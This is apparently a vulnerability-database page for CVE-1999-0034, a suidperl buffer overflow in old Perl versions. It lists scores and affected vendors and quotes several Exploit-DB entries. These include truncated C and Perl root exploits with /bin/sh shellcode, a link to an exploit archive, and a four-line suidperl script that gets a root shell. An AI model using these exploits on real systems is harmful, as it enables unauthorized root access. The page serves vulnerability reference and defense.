CVE-1999-0034
published 1997-05-29CVE-1999-0034: Buffer overflow in suidperl (sperl), Perl 4.x and 5.x.
PriorityP420high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
1.18%
64.1th percentile
Buffer overflow in suidperl (sperl), Perl 4.x and 5.x.
Affected
8 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| bsdi | bsd_os | — | — |
| bsdi | bsd_os | — | — |
| larry_wall | perl | — | — |
| redhat | linux | — | — |
| redhat | linux | — | — |
| redhat | linux | — | — |
| sgi | freeware | — | — |
| sgi | freeware | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
BSDi SUIDPerl - Local Stack Buffer Overflow
exploitdb·2000-11-21
CVE-1999-0034 BSDi SUIDPerl - Local Stack Buffer Overflow
BSDi SUIDPerl - Local Stack Buffer Overflow
---
/* (BSDi)suidperl[] buffer overflow, by v9[[email protected]]. this is that old
buffer overflow in suidperl, but i never saw any version of it for BSDi.
so, here it is. this gives euid=0. (BSDi/3.0)
*/
#define PATH "/usr/bin/suidperl" /* path to suidperl on BSDi/3.0. */
#define DEFAULT_OFFSET -5000 /* general offset, a lot of room. */
static char exec[]=
"\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
"\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
"\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
"\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */
long pointer(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char eip[2048],
Exploit-DB
BSD/OS 2.1/3.0 / Larry Wall Perl 5.0 03 / RedHat 4.0/4.1 / SGI Freeware 1.0/2.0 SUIDPerl - Local Overflow (1)
exploitdb·1997-04-17
CVE-1999-0034 BSD/OS 2.1/3.0 / Larry Wall Perl 5.0 03 / RedHat 4.0/4.1 / SGI Freeware 1.0/2.0 SUIDPerl - Local Overflow (1)
BSD/OS 2.1/3.0 / Larry Wall Perl 5.0 03 / RedHat 4.0/4.1 / SGI Freeware 1.0/2.0 SUIDPerl - Local Overflow (1)
---
source: https://www.securityfocus.com/bid/708/info
Several buffer overflows were found in the Perl helper application 'suidperl' or 'sperl'. When this program is installed setuid root the overflows may lead to a local root compromise.
#!/usr/bin/perl
# yes, this suidperl exploit is in perl, isn't it wonderful? :)
$| = 1;
$shellcode =
"\x90" x 512 . # nops
"\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp
# "standard shellcode" by Aleph One
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
# start and end of .data
# adjust this using /proc/*/maps
$da
Exploit-DB
BSD/OS 2.1/3.0 / Larry Wall Perl 5.0 03 / RedHat 4.0/4.1 / SGI Freeware 1.0/2.0 SUIDPerl - Local Overflow (2)
exploitdb·1997-04-17
CVE-1999-0034 BSD/OS 2.1/3.0 / Larry Wall Perl 5.0 03 / RedHat 4.0/4.1 / SGI Freeware 1.0/2.0 SUIDPerl - Local Overflow (2)
BSD/OS 2.1/3.0 / Larry Wall Perl 5.0 03 / RedHat 4.0/4.1 / SGI Freeware 1.0/2.0 SUIDPerl - Local Overflow (2)
---
source: https://www.securityfocus.com/bid/708/info
Several buffer overflows were found in the Perl helper application 'suidperl' or 'sperl'. When this program is installed setuid root the overflows may lead to a local root compromise.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19547.tgz
Exploit-DB
suid_perl 5.001 - Command Execution
exploitdb·1996-06-01
CVE-1999-0034 suid_perl 5.001 - Command Execution
suid_perl 5.001 - Command Execution
---
#!/usr/bin/suidperl -U
$ENV{PATH}="/bin:/usr/bin";
$>=0;$<=0;
exec("/bin/bash");
# milw0rm.com [1996-06-01]
No writeups or analysis indexed.
1997-05-29
Published